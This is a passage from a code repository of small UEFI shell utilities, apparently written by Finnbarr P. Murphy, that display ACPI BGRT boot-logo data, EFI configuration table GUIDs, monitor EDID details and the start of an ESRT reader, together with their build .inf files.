AsciiToUnicodeSize((CHAR8 *)(Bgrt->Header.OemTableId), 8, Buffer); 226 | Print(L"Oem Table ID : %s\n", Buffer); 227 | Print(L"Oem Revision : %d\n", Bgrt->Header.OemRevision); 228 | AsciiToUnicodeSize((CHAR8 *)&(Bgrt->Header.CreatorId), 4, Buffer); 229 | Print(L"Creator ID : %s\n", Buffer); 230 | Print(L"Creator Revision : %d\n", Bgrt->Header.CreatorRevision); 231 | Print(L"Version : %d\n", Bgrt->Version); 232 | Print(L"Status : %d", Bgrt->Status); 233 | if (Bgrt->Status == EFI_ACPI_5_0_BGRT_STATUS_NOT_DISPLAYED) 234 | Print(L" (Not displayed)"); 235 | if (Bgrt->Status == EFI_ACPI_5_0_BGRT_STATUS_DISPLAYED) 236 | Print(L" (Displayed)"); 237 | Print(L"\n"); 238 | Print(L"Image Type : %d", Bgrt->ImageType); 239 | if (Bgrt->ImageType == EFI_ACPI_5_0_BGRT_IMAGE_TYPE_BMP) 240 | Print(L" (BMP format)"); 241 | Print(L"\n"); 242 | Print(L"Offset Y : %ld\n", Bgrt->ImageOffsetY); 243 | Print(L"Offset X : %ld\n", Bgrt->ImageOffsetX); 244 | 245 | if (Verbose) { 246 | Print(L"Physical Address : %lld\n", Bgrt->ImageAddress); 247 | } 248 | 249 | ParseBMP(Bgrt->ImageAddress); 250 | 251 | Print(L"\n"); 252 | } 253 | 254 | 255 | static int 256 | ParseRSDP( EFI_ACPI_2_0_ROOT_SYSTEM_DESCRIPTION_POINTER *Rsdp, CHAR16* GuidStr) 257 | { 258 | EFI_ACPI_SDT_HEADER *Xsdt, *Entry; 259 | CHAR16 OemStr[20]; 260 | UINT32 EntryCount; 261 | UINT64 *EntryPtr; 262 | 263 | AsciiToUnicodeSize((CHAR8 *)(Rsdp->OemId), 6, OemStr); 264 | if (Rsdp->Revision >= EFI_ACPI_2_0_ROOT_SYSTEM_DESCRIPTION_POINTER_REVISION) { 265 | Xsdt = (EFI_ACPI_SDT_HEADER *)(Rsdp->XsdtAddress); 266 | } else { 267 | return 1; 268 | } 269 | 270 | if (Xsdt->Signature != SIGNATURE_32 ('X', 'S', 'D', 'T')) { 271 | return 1; 272 | } 273 | 274 | AsciiToUnicodeSize((CHAR8 *)(Xsdt->OemId), 6, OemStr); 275 | EntryCount = (Xsdt->Length - sizeof (EFI_ACPI_SDT_HEADER)) / sizeof(UINT64); 276 | 277 | EntryPtr = (UINT64 *)(Xsdt + 1); 278 | for (int Index = 0; Index < EntryCount; Index++, EntryPtr++) { 279 | Entry = (EFI_ACPI_SDT_HEADER *)((UINTN)(*EntryPtr)); 280 | if (Entry->Signature == SIGNATURE_32 ('B', 'G', 'R', 'T')) { 281 | ParseBGRT((EFI_ACPI_BGRT *)((UINTN)(*EntryPtr))); 282 | } 283 | } 284 | 285 | return 0; 286 | } 287 | 288 | 289 | static void 290 | Usage(void) 291 | { 292 | Print(L"Usage: ShowBGRT [-v|--verbose] [-s|--save]\n"); 293 | } 294 | 295 | 296 | INTN 297 | EFIAPI 298 | ShellAppMain(UINTN Argc, CHAR16 **Argv) 299 | { 300 | EFI_CONFIGURATION_TABLE *ect = gST->ConfigurationTable; 301 | EFI_ACPI_2_0_ROOT_SYSTEM_DESCRIPTION_POINTER *Rsdp = NULL; 302 | EFI_GUID AcpiTableGuid = EFI_ACPI_TABLE_GUID; 303 | EFI_GUID Acpi20TableGuid = EFI_ACPI_20_TABLE_GUID; 304 | EFI_STATUS Status = EFI_SUCCESS; 305 | CHAR16 GuidStr[100]; 306 | 307 | 308 | for (int i = 1; i < Argc; i++) { 309 | if (!StrCmp(Argv[i], L"--verbose") || 310 | !StrCmp(Argv[i], L"-v")) { 311 | Verbose = 1; 312 | } else if (!StrCmp(Argv[i], L"--help") || 313 | !StrCmp(Argv[i], L"-h") || 314 | !StrCmp(Argv[i], L"-?")) { 315 | Usage(); 316 | return Status; 317 | } else if (!StrCmp(Argv[i], L"--save") || 318 | !StrCmp(Argv[1], L"-s")) { 319 | SaveImage = 1; 320 | } else { 321 | Print(L"ERROR: Unknown option.\n"); 322 | Usage(); 323 | return Status; 324 | } 325 | } 326 | 327 | 328 | // locate RSDP (Root System Description Pointer) 329 | for (int i = 0; i < gST->NumberOfTableEntries; i++) { 330 | if ((CompareGuid (&(gST->ConfigurationTable[i].VendorGuid), &AcpiTableGuid)) || 331 | (CompareGuid (&(gST->ConfigurationTable[i].VendorGuid), &Acpi20TableGuid))) { 332 | if (!AsciiStrnCmp("RSD PTR ", (CHAR8 *)(ect->VendorTable), 8)) { 333 | UnicodeSPrint(GuidStr, sizeof(GuidStr), L"%g", &(gST->ConfigurationTable[i].VendorGuid)); 334 | Rsdp = (EFI_ACPI_2_0_ROOT_SYSTEM_DESCRIPTION_POINTER *)ect->VendorTable; 335 | ParseRSDP(Rsdp, GuidStr); 336 | } 337 | } 338 | ect++; 339 | } 340 | 341 | if (Rsdp == NULL) { 342 | if (Verbose) { 343 | Print(L"ERROR: Could not find an ACPI RSDP table.\n"); 344 | } 345 | return EFI_NOT_FOUND; 346 | } 347 | 348 | return Status; 349 | 350 | } 351 | -------------------------------------------------------------------------------- /MyApps/ShowBGRT/ShowBGRT.inf: -------------------------------------------------------------------------------- 1 | [Defines] 2 | INF_VERSION = 0x00010006 3 | BASE_NAME = ShowBGRT 4 | FILE_GUID = 4ea87c57-7795-4dcd-0055-747010f3ce51 5 | MODULE_TYPE = UEFI_APPLICATION 6 | VERSION_STRING = 0.1 7 | ENTRY_POINT = ShellCEntryLib 8 | VALID_ARCHITECTURES = X64 9 | 10 | [Sources] 11 | ShowBGRT.c 12 | 13 | [Packages] 14 | MdePkg/MdePkg.dec 15 | ShellPkg/ShellPkg.dec 16 | 17 | 18 | [LibraryClasses] 19 | ShellCEntryLib 20 | ShellLib 21 | BaseLib 22 | BaseMemoryLib 23 | UefiLib 24 | 25 | [Protocols] 26 | 27 | [BuildOptions] 28 | 29 | [Pcd] 30 | 31 | -------------------------------------------------------------------------------- /MyApps/ShowECT/ShowECT.c: -------------------------------------------------------------------------------- 1 | // 2 | // Copyright (c) 2015 Finnbarr P. Murphy. All rights reserved. 3 | // 4 | // Display EFI Configuration Table entries 5 | // 6 | // License: BSD License 7 | // 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | 16 | #include 17 | #include 18 | 19 | 20 | // per UEFI Specification 2.5 21 | #define EFI_ACPI_20_TABLE_GUID \ 22 | {0x8868e871, 0xe4f1, 0x11d3, {0xbc,0x22,0x00,0x80,0xc7,0x3c,0x88,0x81}} 23 | #define ACPI_TABLE_GUID \ 24 | {0xeb9d2d30, 0x2d88, 0x11d3, {0x9a,0x16,0x00,0x90,0x27,0x3f,0xc1,0x4d}} 25 | #define SAL_SYSTEM_TABLE_GUID \ 26 | {0xeb9d2d32, 0x2d88, 0x11d3, {0x9a,0x16,0x00,0x90,0x27,0x3f,0xc1,0x4d}} 27 | #define SMBIOS_TABLE_GUID \ 28 | {0xeb9d2d31, 0x2d88, 0x11d3, {0x9a,0x16,0x00,0x90,0x27,0x3f,0xc1,0x4d}} 29 | #define SMBIOS3_TABLE_GUID \ 30 | {0xf2fd1544, 0x9794, 0x4a2c, {0x99,0x2e,0xe5,0xbb,0xcf,0x20,0xe3,0x94}} 31 | #define MPS_TABLE_GUID \ 32 | {0xeb9d2d2f, 0x2d88, 0x11d3, {0x9a,0x16,0x00,0x90,0x27,0x3f,0xc1,0x4d}} 33 | #define EFI_PROPERTIES_TABLE_GUID \ 34 | {0x880aaca3, 0x4adc, 0x4a04, {0x90,0x79,0xb7,0x47,0x34,0x8,0x25,0xe5}} 35 | #define EFI_SYSTEM_RESOURCES_TABLE_GUID \ 36 | {0xb122a263, 0x3661, 0x4f68, {0x99,0x29,0x78,0xf8,0xb0,0xd6,0x21,0x80}} 37 | #define EFI_SECTION_TIANO_COMPRESS_GUID \ 38 | {0xa31280ad, 0x481e, 0x41b6, {0x95,0xe8,0x12,0x7f,0x4c,0x98,0x47,0x79}} 39 | #define EFI_SECTION_LZMA_COMPRESS_GUID \ 40 | {0xee4e5898, 0x3914, 0x4259, {0x9d,0x6e,0xdc,0x7b,0xd7,0x94,0x03,0xcf}} 41 | #define EFI_DXE_SERVICES_TABLE_GUID \ 42 | {0x5ad34ba, 0x6f02, 0x4214, {0x95,0x2e,0x4d,0xa0,0x39,0x8e,0x2b,0xb9}} 43 | #define EFI_HOB_LIST_GUID \ 44 | {0x7739f24c, 0x93d7, 0x11d4, {0x9a,0x3a,0x00,0x90,0x27,0x3f,0xc1,0x4d}} 45 | #define MEMORY_TYPE_INFORMATION_GUID \ 46 | {0x4c19049f, 0x4137, 0x4dd3, {0x9c,0x10,0x8b,0x97,0xa8,0x3f,0xfd,0xfa}} 47 | 48 | static EFI_GUID Guid1 = EFI_ACPI_20_TABLE_GUID; 49 | static EFI_GUID Guid2 = ACPI_TABLE_GUID; 50 | static EFI_GUID Guid3 = SAL_SYSTEM_TABLE_GUID; 51 | static EFI_GUID Guid4 = SMBIOS_TABLE_GUID; 52 | static EFI_GUID Guid5 = SMBIOS3_TABLE_GUID; 53 | static EFI_GUID Guid6 = MPS_TABLE_GUID; 54 | static EFI_GUID Guid7 = EFI_PROPERTIES_TABLE_GUID; 55 | static EFI_GUID Guid8 = EFI_SYSTEM_RESOURCES_TABLE_GUID; 56 | static EFI_GUID Guid9 = EFI_SECTION_TIANO_COMPRESS_GUID; 57 | static EFI_GUID Guid10 = EFI_SECTION_LZMA_COMPRESS_GUID; 58 | static EFI_GUID Guid11 = EFI_DXE_SERVICES_TABLE_GUID; 59 | static EFI_GUID Guid12 = EFI_HOB_LIST_GUID; 60 | static EFI_GUID Guid13 = MEMORY_TYPE_INFORMATION_GUID; 61 | 62 | static struct { 63 | EFI_GUID *Guid; 64 | CHAR16 *GuidStr; 65 | } KnownGuids[] = { 66 | { &Guid1, L"ACPI 2.0 table" }, 67 | { &Guid2, L"ACPI 1.0 table" }, 68 | { &Guid3, L"SAL system table" }, 69 | { &Guid4, L"SMBIOS table" }, 70 | { &Guid5, L"SMBIOS 3 table" }, 71 | { &Guid6, L"MPS table" }, 72 | { &Guid7, L"EFI properties table" }, 73 | { &Guid8, L"ESRT table" }, 74 | { &Guid9, L"Tiano compress" }, 75 | { &Guid10, L"LZMA compress" }, 76 | { &Guid11, L"DXE services" }, 77 | { &Guid12, L"HOB list" }, 78 | { &Guid13, L"Memory type information" }, 79 | { NULL } 80 | }; 81 | 82 | 83 | static void 84 | Usage(void) 85 | { 86 | Print(L"Usage: ShowECT [-v|--verbose]\n"); 87 | } 88 | 89 | 90 | INTN 91 | EFIAPI 92 | ShellAppMain(UINTN Argc, CHAR16 **Argv) 93 | { 94 | EFI_CONFIGURATION_TABLE *ect = gST->ConfigurationTable; 95 | int Verbose = 0; 96 | 97 | if (Argc == 2) { 98 | if (!StrCmp(Argv[1], L"--verbose") || 99 | !StrCmp(Argv[1], L"-v")) { 100 | Verbose = 1; 101 | } 102 | if (!StrCmp(Argv[1], L"--help") || 103 | !StrCmp(Argv[1], L"-h") || 104 | !StrCmp(Argv[1], L"-?")) { 105 | Usage(); 106 | return EFI_SUCCESS; 107 | } 108 | } 109 | 110 | 111 | for (int i = 0; i < gST->NumberOfTableEntries; i++) { 112 | Print(L"%03d %g", i, ect->VendorGuid); 113 | if (Verbose) { 114 | for (int j=0; KnownGuids[j].Guid; j++) { 115 | if (!CompareMem(&ect->VendorGuid, KnownGuids[j].Guid, sizeof(Guid1))) { 116 | Print(L" %s", KnownGuids[j].GuidStr); 117 | break; 118 | } 119 | } 120 | } 121 | Print(L"\n"); 122 | ect++; 123 | } 124 | 125 | return EFI_SUCCESS; 126 | } 127 | 128 | -------------------------------------------------------------------------------- /MyApps/ShowECT/ShowECT.inf: -------------------------------------------------------------------------------- 1 | [Defines] 2 | INF_VERSION = 0x00010006 3 | BASE_NAME = ShowECT 4 | FILE_GUID = 4ea87c51-7395-4ccd-0355-747010f3ce51 5 | MODULE_TYPE = UEFI_APPLICATION 6 | VERSION_STRING = 0.1 7 | ENTRY_POINT = ShellCEntryLib 8 | VALID_ARCHITECTURES = X64 9 | 10 | [Sources] 11 | ShowECT.c 12 | 13 | [Packages] 14 | MdePkg/MdePkg.dec 15 | ShellPkg/ShellPkg.dec 16 | 17 | [LibraryClasses] 18 | ShellCEntryLib 19 | ShellLib 20 | BaseLib 21 | BaseMemoryLib 22 | UefiLib 23 | 24 | [Protocols] 25 | 26 | [BuildOptions] 27 | 28 | [Pcd] 29 | 30 | -------------------------------------------------------------------------------- /MyApps/ShowEDID/ShowEDID.c: -------------------------------------------------------------------------------- 1 | // 2 | // Copyright (c) 2015 Finnbarr P. Murphy. All rights reserved. 3 | // 4 | // Display core EDID v1.3 information. 5 | // 6 | // License: BSD License 7 | // 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | 25 | 26 | typedef struct { 27 | UINT8 Header[8]; //EDID header "00 FF FF FF FF FF FF 00" 28 | UINT16 ManufactureName; //EISA 3-character ID 29 | UINT16 ProductCode; //Vendor assigned code 30 | UINT32 SerialNumber; //32-bit serial number 31 | UINT8 WeekOfManufacture; //Week number 32 | UINT8 YearOfManufacture; //Year 33 | UINT8 EdidVersion; //EDID Structure Version 34 | UINT8 EdidRevision; //EDID Structure Revision 35 | UINT8 VideoInputDefinition; 36 | UINT8 MaxHorizontalImageSize; //cm 37 | UINT8 MaxVerticalImageSize; //cm 38 | UINT8 DisplayGamma; 39 | UINT8 DpmSupport; 40 | UINT8 RedGreenLowBits; //Rx1 Rx0 Ry1 Ry0 Gx1 Gx0 Gy1Gy0 41 | UINT8 BlueWhiteLowBits; //Bx1 Bx0 By1 By0 Wx1 Wx0 Wy1 Wy0 42 | UINT8 RedX; //Red-x Bits 9 - 2 43 | UINT8 RedY; //Red-y Bits 9 - 2 44 | UINT8 GreenX; //Green-x Bits 9 - 2 45 | UINT8 GreenY; //Green-y Bits 9 - 2 46 | UINT8 BlueX; //Blue-x Bits 9 - 2 47 | UINT8 BlueY; //Blue-y Bits 9 - 2 48 | UINT8 WhiteX; //White-x Bits 9 - 2 49 | UINT8 WhiteY; //White-x Bits 9 - 2 50 | UINT8 EstablishedTimings[3]; 51 | UINT8 StandardTimingIdentification[16]; 52 | UINT8 DescriptionBlock1[18]; 53 | UINT8 DescriptionBlock2[18]; 54 | UINT8 DescriptionBlock3[18]; 55 | UINT8 DescriptionBlock4[18]; 56 | UINT8 ExtensionFlag; //Number of (optional) 128-byte EDID extension blocks 57 | UINT8 Checksum; 58 | } __attribute__((__packed__)) EDID_DATA_BLOCK; 59 | 60 | 61 | // most of these defines come straight out of NetBSD EDID source code 62 | #define CHECK_BIT(var, pos) ((var & (1 << pos)) == (1 << pos)) 63 | #define EDID_COMBINE_HI_8LO(hi, lo) ((((unsigned)hi) << 8) | (unsigned)lo) 64 | #define EDID_DATA_BLOCK_SIZE 0x80 65 | #define EDID_VIDEO_INPUT_LEVEL(x) (((x) & 0x60) >> 5) 66 | #define EDID_DPMS_ACTIVE_OFF (1 << 5) 67 | #define EDID_DPMS_SUSPEND (1 << 6) 68 | #define EDID_DPMS_STANDBY (1 << 7) 69 | #define EDID_STD_TIMING_HRES(ptr) ((((ptr)[0]) * 8) + 248) 70 | #define EDID_STD_TIMING_VFREQ(ptr) ((((ptr)[1]) & 0x3f) + 60) 71 | #define EDID_STD_TIMING_RATIO(ptr) ((ptr)[1] & 0xc0) 72 | #define EDID_BLOCK_IS_DET_TIMING(ptr) ((ptr)[0] | (ptr)[1]) 73 | #define EDID_DET_TIMING_DOT_CLOCK(ptr) (((ptr)[0] | ((ptr)[1] << 8)) * 10000) 74 | #define EDID_HACT_LO(ptr) ((ptr)[2]) 75 | #define EDID_HBLK_LO(ptr) ((ptr)[3]) 76 | #define EDID_HACT_HI(ptr) (((ptr)[4] & 0xf0) << 4) 77 | #define EDID_HBLK_HI(ptr) (((ptr)[4] & 0x0f) << 8) 78 | #define EDID_DET_TIMING_HACTIVE(ptr) (EDID_HACT_LO(ptr) | EDID_HACT_HI(ptr)) 79 | #define EDID_DET_TIMING_HBLANK(ptr) (EDID_HBLK_LO(ptr) | EDID_HBLK_HI(ptr)) 80 | #define EDID_VACT_LO(ptr) ((ptr)[5]) 81 | #define EDID_VBLK_LO(ptr) ((ptr)[6]) 82 | #define EDID_VACT_HI(ptr) (((ptr)[7] & 0xf0) << 4) 83 | #define EDID_VBLK_HI(ptr) (((ptr)[7] & 0x0f) << 8) 84 | #define EDID_DET_TIMING_VACTIVE(ptr) (EDID_VACT_LO(ptr) | EDID_VACT_HI(ptr)) 85 | #define EDID_DET_TIMING_VBLANK(ptr) (EDID_VBLK_LO(ptr) | EDID_VBLK_HI(ptr)) 86 | #define EDID_HOFF_LO(ptr) ((ptr)[8]) 87 | #define EDID_HWID_LO(ptr) ((ptr)[9]) 88 | #define EDID_VOFF_LO(ptr) ((ptr)[10] >> 4) 89 | #define EDID_VWID_LO(ptr) ((ptr)[10] & 0xf) 90 | #define EDID_HOFF_HI(ptr) (((ptr)[11] & 0xc0) << 2) 91 | #define EDID_HWID_HI(ptr) (((ptr)[11] & 0x30) << 4) 92 | #define EDID_VOFF_HI(ptr) (((ptr)[11] & 0x0c) << 2) 93 | #define EDID_VWID_HI(ptr) (((ptr)[11] & 0x03) << 4) 94 | #define EDID_DET_TIMING_HSYNC_OFFSET(ptr) (EDID_HOFF_LO(ptr) | EDID_HOFF_HI(ptr)) 95 | #define EDID_DET_TIMING_HSYNC_WIDTH(ptr) (EDID_HWID_LO(ptr) | EDID_HWID_HI(ptr)) 96 | #define EDID_DET_TIMING_VSYNC_OFFSET(ptr) (EDID_VOFF_LO(ptr) | EDID_VOFF_HI(ptr)) 97 | #define EDID_DET_TIMING_VSYNC_WIDTH(ptr) (EDID_VWID_LO(ptr) | EDID_VWID_HI(ptr)) 98 | #define EDID_HSZ_LO(ptr) ((ptr)[12]) 99 | #define EDID_VSZ_LO(ptr) ((ptr)[13]) 100 | #define EDID_HSZ_HI(ptr) (((ptr)[14] & 0xf0) << 4) 101 | #define EDID_VSZ_HI(ptr) (((ptr)[14] & 0x0f) << 8) 102 | #define EDID_DET_TIMING_HSIZE(ptr) (EDID_HSZ_LO(ptr) | EDID_HSZ_HI(ptr)) 103 | #define EDID_DET_TIMING_VSIZE(ptr) (EDID_VSZ_LO(ptr) | EDID_VSZ_HI(ptr)) 104 | #define EDID_DET_TIMING_HBORDER(ptr) ((ptr)[15]) 105 | #define EDID_DET_TIMING_VBORDER(ptr) ((ptr)[16]) 106 | #define EDID_DET_TIMING_FLAGS(ptr) ((ptr)[17]) 107 | #define EDID_DET_TIMING_VSOBVHSPW(ptr) ((ptr)[11]) 108 | 109 | 110 | // 111 | // Based on code found at http://code.google.com/p/my-itoa/ 112 | // 113 | int 114 | Integer2AsciiString(int val, char* buf) 115 | { 116 | const unsigned int radix = 10; 117 | 118 | char* p = buf; 119 | unsigned int a; 120 | int len; 121 | char* b; 122 | char temp; 123 | unsigned int u; 124 | 125 | if (val < 0) { 126 | *p++ = '-'; 127 | val = 0 - val; 128 | } 129 | u = (unsigned int)val; 130 | b = p; 131 | 132 | do { 133 | a = u % radix; 134 | u /= radix; 135 | *p++ = a + '0'; 136 | } while (u > 0); 137 | 138 | len = (int)(p - buf); 139 | *p-- = 0; 140 | 141 | // swap 142 | do { 143 | temp = *p; *p = *b; *b = temp; 144 | --p; ++b; 145 | } while (b < p); 146 | 147 | return len; 148 | } 149 | 150 | 151 | // 152 | // Based on code found on the Internet (author unknown) 153 | // Search for ftoa implementations 154 | // 155 | int 156 | Float2AsciiString(float f, char *buffer, int numdecimals) 157 | { 158 | int status = 0; 159 | char *s = buffer; 160 | long mantissa, int_part, frac_part; 161 | short exp2; 162 | char m; 163 | 164 | typedef union { 165 | long L; 166 | float F; 167 | } LF_t; 168 | LF_t x; 169 | 170 | if (f == 0.0) { // return 0.00 171 | *s++ = '0'; *s++ = '.'; *s++ = '0'; *s++ = '0'; 172 | *s = 0; 173 | return status; 174 | } 175 | 176 | x.F = f; 177 | 178 | exp2 = (unsigned char)(x.L >> 23) - 127; 179 | mantissa = (x.L & 0xFFFFFF) | 0x800000; 180 | frac_part = 0; 181 | int_part = 0; 182 | 183 | if (exp2 >= 31 || exp2 < -23) { 184 | *s = 0; 185 | return 1; 186 | } 187 | 188 | if (exp2 >= 0) { 189 | int_part = mantissa >> (23 - exp2); 190 | frac_part = (mantissa << (exp2 + 1)) & 0xFFFFFF; 191 | } else { 192 | frac_part = (mantissa & 0xFFFFFF) >> -(exp2 + 1); 193 | } 194 | 195 | if (int_part == 0) 196 | *s++ = '0'; 197 | else { 198 | Integer2AsciiString(int_part, s); 199 | while (*s) s++; 200 | } 201 | *s++ = '.'; 202 | 203 | if (frac_part == 0) 204 | *s++ = '0'; 205 | else { 206 | for (m = 0; m < numdecimals; m++) { // print BCD 207 | frac_part = (frac_part << 3) + (frac_part << 1); // frac_part *= 10 208 | *s++ = (frac_part >> 24) + '0'; 209 | frac_part &= 0xFFFFFF; 210 | } 211 | } 212 | *s = 0; 213 | 214 | return status; 215 | } 216 | 217 | 218 | VOID 219 | Ascii2UnicodeString(CHAR8 *String, CHAR16 *UniString) 220 | { 221 | while (*String != '\0') { 222 | *(UniString++) = (CHAR16) *(String++); 223 | } 224 | *UniString = '\0'; 225 | } 226 | 227 | 228 | CHAR16 * 229 | DisplayGammaString(UINT8 Gamma) 230 | { 231 | char Str[8]; 232 | static CHAR16 Wstr[8]; 233 | 234 | float g1 = (float)Gamma; 235 | float g2 = 1.00 + (g1/100); 236 | 237 | Float2AsciiString(g2, Str, 2); 238 | Ascii2UnicodeString(Str, Wstr); 239 | 240 | return Wstr; 241 | } 242 | 243 | 244 | CHAR16 * 245 | ManufacturerAbbrev(UINT16 *ManufactureName) 246 | { 247 | static CHAR16 Mcode[8]; 248 | UINT8 *block = (UINT8 *)ManufactureName; 249 | UINT16 h = EDID_COMBINE_HI_8LO(block[0], block[1]); 250 | 251 | Mcode[0] = (CHAR16)((h>>10) & 0x1f) + 'A' - 1; 252 | Mcode[1] = (CHAR16)((h>>5) & 0x1f) + 'A' - 1; 253 | Mcode[2] = (CHAR16)(h & 0x1f) + 'A' - 1; 254 | Mcode[3] = (CHAR16)'\0'; 255 | 256 | return Mcode; 257 | } 258 | 259 | 260 | int 261 | CheckForValidEdid(EDID_DATA_BLOCK *EdidDataBlock) 262 | { 263 | const UINT8 EdidHeader[] = {0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00}; 264 | UINT8 *edid = (UINT8 *)EdidDataBlock; 265 | UINT8 i; 266 | UINT8 CheckSum = 0; 267 | 268 | for (i = 0; i < EDID_DATA_BLOCK_SIZE; i++) { 269 | CheckSum += edid[i]; 270 | } 271 | if (CheckSum != 0) { 272 | return(1); 273 | } 274 | 275 | if (*edid == 0x00) { 276 | CheckSum = 0; 277 | for (i = 0; i < 8; i++) { 278 | if (*edid++ == EdidHeader[i]) 279 | CheckSum++; 280 | } 281 | if (CheckSum != 8) { 282 | return(1); 283 | } 284 | } 285 | 286 | if (EdidDataBlock->EdidVersion != 1 || EdidDataBlock->EdidRevision > 4) { 287 | return(1); 288 | } 289 | 290 | return(0); 291 | } 292 | 293 | 294 | VOID 295 | PrintDetailedTimingBlock(UINT8 *dtb) 296 | { 297 | Print(L"Horizonal Image Size: %d mm\n", EDID_DET_TIMING_HSIZE(dtb)); 298 | Print(L" Vertical Image Size: %d mm\n", EDID_DET_TIMING_VSIZE(dtb)); 299 | Print(L"HoriImgSzByVertImgSz: %d\n", dtb[14]); 300 | Print(L" Horizontal Border: %d\n", EDID_DET_TIMING_HBORDER(dtb)); 301 | Print(L" Vertical Border: %d\n", EDID_DET_TIMING_VBORDER(dtb)); 302 | } 303 | 304 | 305 | VOID 306 | PrintEdid( EDID_DATA_BLOCK *EdidDataBlock) 307 | { 308 | UINT8 tmp; 309 | 310 | Print(L" EDID Version: %d\n", EdidDataBlock->EdidVersion); 311 | Print(L" EDID Revision: %d\n", EdidDataBlock->EdidRevision); 312 | Print(L" Vendor Abbreviation: %s\n", ManufacturerAbbrev(&(EdidDataBlock->ManufactureName))); 313 | Print(L" Product ID: %08X\n", EdidDataBlock->ProductCode); 314 | Print(L" Serial Number: %08X\n", EdidDataBlock->SerialNumber); 315 | Print(L" Manufacture Week: %02d\n", EdidDataBlock->WeekOfManufacture); 316 | Print(L" Manufacture Year: %d\n", EdidDataBlock->YearOfManufacture + 1990); 317 | 318 | tmp = (UINT8) EdidDataBlock->VideoInputDefinition; 319 | Print(L" Video Input: "); 320 | if (CHECK_BIT(tmp, 7)) { 321 | Print(L"Analog\n"); 322 | } else { 323 | Print(L"Digital\n"); 324 | } 325 | if (tmp & 0x1F) { 326 | Print(L" Syncronization: "); 327 | if (CHECK_BIT(tmp, 4)) 328 | Print(L"BlankToBackSetup "); 329 | if (CHECK_BIT(tmp, 3)) 330 | Print(L"SeparateSync "); 331 | if (CHECK_BIT(tmp, 2)) 332 | Print(L"CompositeSync "); 333 | if (CHECK_BIT(tmp, 1)) 334 | Print(L"SyncOnGreen "); 335 | if (CHECK_BIT(tmp, 0)) 336 | Print(L"SerrationVSync "); 337 | Print(L"\n"); 338 | } 339 | 340 | tmp = (UINT8) EdidDataBlock->DpmSupport; 341 | Print(L" Display Type: "); 342 | if (CHECK_BIT(tmp, 3) && CHECK_BIT(tmp, 4)) { 343 | Print(L"Undefined"); 344 | } else if (CHECK_BIT(tmp, 3)) { 345 | Print(L"RGB color"); 346 | } else if (CHECK_BIT(tmp, 4)) { 347 | Print(L"Non-RGB multicolor"); 348 | } else { 349 | Print(L"Monochrome"); 350 | } 351 | Print(L"\n"); 352 | 353 | Print(L" Max Horizonal Size: %1d cm\n", EdidDataBlock->MaxHorizontalImageSize); 354 | Print(L" Max Vertical Size: %1d cm\n", EdidDataBlock->MaxVerticalImageSize); 355 | Print(L" Gamma: %s\n", DisplayGammaString(EdidDataBlock->DisplayGamma)); 356 | 357 | PrintDetailedTimingBlock((UINT8 *)&(EdidDataBlock->DescriptionBlock1[0])); 358 | } 359 | 360 | 361 | INTN 362 | EFIAPI 363 | ShellAppMain(UINTN Argc, CHAR16 **Argv) 364 | { 365 | EFI_STATUS Status = EFI_SUCCESS; 366 | 367 | EFI_GUID gEfiEdidDiscoveredProtocolGuid = EFI_EDID_DISCOVERED_PROTOCOL_GUID; 368 | EFI_EDID_DISCOVERED_PROTOCOL *Edp; 369 | EFI_HANDLE *HandleBuffer; 370 | UINTN HandleCount = 0; 371 | BOOLEAN Found = FALSE; 372 | 373 | // Try locating GOP by handle 374 | Status = gBS->LocateHandleBuffer( ByProtocol, 375 | &gEfiGraphicsOutputProtocolGuid, 376 | NULL, 377 | &HandleCount, 378 | &HandleBuffer); 379 | if (EFI_ERROR (Status)) { 380 | Print(L"ERROR: No GOP handle found. Cannot locate an EDID.\n"); 381 | return EFI_SUCCESS; 382 | } 383 | 384 | for (int i = 0; i < HandleCount; i++) { 385 | Status = gBS->OpenProtocol( HandleBuffer[i], 386 | &gEfiEdidDiscoveredProtocolGuid, 387 | (VOID **)&Edp, 388 | gImageHandle, 389 | NULL, 390 | EFI_OPEN_PROTOCOL_BY_HANDLE_PROTOCOL); 391 | if (Status == EFI_SUCCESS) { 392 | if (!CheckForValidEdid((EDID_DATA_BLOCK *)(Edp->Edid))) { 393 | Found = TRUE; 394 | PrintEdid((EDID_DATA_BLOCK *)(Edp->Edid)); 395 | } else { 396 | Print(L"ERROR: Invalid EDID checksum\n"); 397 | } 398 | } 399 | } 400 | 401 | if (!Found) { 402 | Print(L"Cannot locate an EDID.\n"); 403 | } 404 | 405 | return EFI_SUCCESS; 406 | } 407 | -------------------------------------------------------------------------------- /MyApps/ShowEDID/ShowEDID.inf: -------------------------------------------------------------------------------- 1 | [Defines] 2 | INF_VERSION = 0x00010006 3 | BASE_NAME = ShowEDID 4 | FILE_GUID = 4ea87d57-7795-4dcd-0055-747010f3ce51 5 | MODULE_TYPE = UEFI_APPLICATION 6 | VERSION_STRING = 0.1 7 | ENTRY_POINT = ShellCEntryLib 8 | VALID_ARCHITECTURES = X64 9 | 10 | [Sources] 11 | ShowEDID.c 12 | 13 | [Packages] 14 | MdePkg/MdePkg.dec 15 | ShellPkg/ShellPkg.dec 16 | 17 | [LibraryClasses] 18 | ShellCEntryLib 19 | ShellLib 20 | BaseLib 21 | BaseMemoryLib 22 | UefiLib 23 | 24 | [Protocols] 25 | 26 | [BuildOptions] 27 | 28 | [Pcd] 29 | 30 | -------------------------------------------------------------------------------- /MyApps/ShowESRT/ShowESRT.c: -------------------------------------------------------------------------------- 1 | // 2 | // Copyright (c) 2015 Finnbarr P. Murphy. All rights reserved. 3 | // 4 | // Display ESRT entries 5 | // 6 | // License: BSD License 7 | // 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | 16 | #include 17 | #include 18 | 19 | #define ESRT_GUID { 0xb122a263, 0x3661, 0x4f68, { 0x99, 0x29, 0x78, 0xf8, 0xb0, 0xd6, 0x21, 0x80 }} 20 | 21 | EFI_GUID EsrtGuid = ESRT_GUID; 22 | 23 | typedef struct esrt { 24 | UINT32 fw_resource_count; 25 | UINT32 fw_resource_count_max; 26 | UINT64 fw_resource_version; 27 | } __attribute__((__packed__)) esrt_t; 28 | 29 | typedef struct esre1 { 30 | EFI_GUID fw_class; 31 | UINT32 fw_type; 32 | UINT32 fw_version; 33 | UINT32 lowest_supported_fw_version; 34 | 